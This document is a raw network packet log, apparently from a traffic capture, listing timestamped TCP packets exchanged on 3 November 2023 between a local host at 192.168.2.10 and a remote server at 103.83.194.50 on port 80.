Nov 3, 2023 18:53:43.826838017 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826864958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.826911926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.826968908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827009916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827011108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827053070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827100992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827147961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827259064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827308893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827547073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827589989 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827630043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827672005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827697992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827742100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827812910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827861071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827888012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.827931881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.827989101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828032970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828059912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828109026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828133106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828177929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828205109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828247070 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828274012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828319073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828347921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828386068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828457117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828500986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828562975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828607082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828629971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828670979 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828679085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828720093 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828748941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828774929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828793049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828819036 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828843117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828885078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828910112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.828955889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.828969955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829014063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829035997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829062939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829081059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829099894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829144955 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829174995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829194069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829210997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829215050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829258919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829286098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829329967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829345942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829389095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829401016 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829447031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829449892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829494953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829509020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829551935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829565048 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829611063 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829612970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829653978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829691887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829736948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829776049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829819918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829858065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829905033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.829943895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.829988956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830015898 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830060005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830147982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830194950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830233097 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830279112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830363035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830404043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830467939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830511093 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830539942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830584049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830610037 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830667019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830681086 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830727100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830754042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830794096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830848932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830884933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.830893040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830925941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.830954075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831001043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831100941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831116915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831145048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831161022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831183910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831222057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831302881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831353903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831372976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831422091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831542015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831588984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831604004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831649065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831669092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831713915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831717014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831758976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831773996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831819057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831835032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831877947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831904888 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.831948042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.831973076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832017899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832035065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832077980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832089901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832135916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832153082 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832199097 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832227945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832277060 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832292080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832318068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832334042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832364082 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832479954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832535982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832536936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832591057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832617998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832659960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832684994 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832731962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832731962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832782030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832809925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832855940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832869053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832920074 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832920074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.832963943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.832973957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833019972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833045959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833080053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833089113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833122969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833148003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833197117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833223104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833270073 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833297014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833340883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833363056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833391905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833416939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833431959 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833467960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833519936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833548069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833600998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833602905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833648920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833661079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833709002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833717108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833760977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833791018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833837986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833856106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833875895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833914042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833934069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.833935976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833976030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.833993912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834008932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834043026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834069967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834076881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834115028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834139109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834183931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834194899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834225893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834233046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834281921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834287882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834327936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834367990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834417105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834417105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834456921 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834484100 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834527969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834530115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834577084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834599018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834646940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834650993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834688902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834717989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834775925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834791899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834825993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834832907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834877014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834888935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834929943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.834944010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834959984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.834989071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835011005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835015059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835059881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835086107 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835129976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835158110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835197926 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835259914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835320950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835329056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835383892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835391998 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835401058 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835427999 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835443020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835478067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835519075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835558891 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835611105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835628033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835671902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835694075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835746050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835773945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835838079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835879087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835927010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.835954905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.835997105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836034060 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836081982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836218119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836286068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836394072 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836414099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836429119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836446047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836472034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836478949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836540937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836543083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836587906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836599112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836647034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836874008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836920023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.836929083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.836982965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837011099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837058067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837074041 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837116003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837121010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837147951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837172031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837188005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837222099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837280989 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837289095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837318897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837335110 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837383032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837407112 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837450981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837466002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837481022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837507963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837528944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837583065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837630987 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837636948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837687969 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837697983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837748051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837757111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837800980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837804079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837853909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.837944984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.837997913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838012934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838063002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838064909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838104963 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838109970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838136911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838154078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838184118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838222027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838275909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838299036 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838349104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838361025 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838412046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838419914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838453054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838463068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838501930 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838538885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838582993 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838620901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838674068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838701010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838749886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838761091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838804960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838831902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838874102 CET	49711	80	192.168.2.10	103.83.194.50
